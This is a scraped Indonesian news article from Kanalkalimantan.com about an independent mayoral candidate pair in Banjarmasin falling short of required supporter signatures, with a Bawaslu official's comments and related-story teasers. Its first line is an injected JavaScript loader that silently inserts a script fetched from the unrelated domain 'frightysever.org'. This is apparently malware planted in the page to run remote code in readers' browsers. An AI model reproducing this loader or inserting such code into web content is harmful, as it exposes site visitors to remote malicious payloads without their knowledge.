(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pasangan calon perseorangan di Pilkada Banjarmasin, Khairul Saleh – Habib Ali Al Habsyi harus melengkapi syarat dukungan untuk maju di Piwali Banjarmasin. Pada rapat pleno rapat pleno rekapitulasi hasil verifikasi faktual untuk bakal calon perseorangan, Senin (20/7/2020) sore, pasangan ini hanya memperoleh syarat dukungan yang memenuhi syarat sebanyak 35.433 dukungan. Jumlah tersebut belum memenuhi syarat minimal 38.003 dukungan.
Ihwal ini, Bawaslu Kota Banjarmasin pun angkat bicara. Kordiv Pengawasan dan Hubungan Lembaga (PHL) Bawaslu Kota Banjarmasin Rahmadiansyah mengatakan, kekurangan dukungan sebanyak 2.570 dukungan dikali dua ini harus segera dipenuhi oleh pasangan ini. Jika ingin tetap maju di Pilwali Banjarmasin melalui jalur perseorangan.
“Itu harus dikali dua (dari jumlah kekurangan) nantinya, harus diperbaiki. Kalau memang mau memperbaiki ya. Ini tergantung dengan pasangan itu sendiri,” beber Rahmadiansyah.
Sehingga, jika ingin menyiapkan kekurangan dukungan tersebut, minimal paslon Khairul-Ali harus melengkapi syarat dukungan sebanyak 5.140 dukungan. Tentunya, harus tetap menjalani verifikasi lagi oleh KPU Kota Banjarmasin melalui PPK (Panitia Pemilihan Kecamatan) yang telah ditunjuk untuk melakukan verifikasi faktual di lapangan.
Baca juga :
Hanya saja, Rahmadiansyah mengingatkan, jika pasangan ini hanya menyerahkan syarat dukungan tambahan sesuai dengan syarat minimal sebanyak 5.140 dukungan, maka akan sangat riskan. Terutama, jika dari jumlah tersebut masih adanya yang tidak memenuhi syarat (TMS).
“Makanya, kalau cuma menyerahkan 5.140 dukungan itu sangat riskan. Sangat riskan, karena khawatirnya ada yang tidak TMS lagi,” tutur Rahmadiansyah.
Disamping itu, baik Bawaslu maupun KPU Kota Banjarmasin juga menemukan adanya lebih 1.300 orang yang keberatan dengan adanya pernyataan dukungan. Ia menyebutkan, dengan adanya temuan itu, menunjukkan bahwa penyelenggara pemilu benar-benar bekerja secara maksimal.
“Sehingga, masyarakat yang benar-benar mendukung saja yang nanti benar-benar dimasukkan di dalam situ (dukungan). Walau sebenarnya banyak saja dinamika yang terjadi,” imbuhnya.
Baca juga :
Ia sendiri berharap untuk paslon Khairul-Ali untuk menyiapkan LO (liaison officer) dengan lebih baik. Sehingga, bisa membantu jajaran pengawas pemilu dan penyelenggara pemilu yaitu PPS. “Agar lebih bisa mempermudah dalam menemukan dan mendapatkan orang-orang yang mendukung paslon ini. Berkenaan dengan KTP dan dukungan yang sudah dikumpulkan,” lugas Rahmadiansyah. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
This website uses cookies.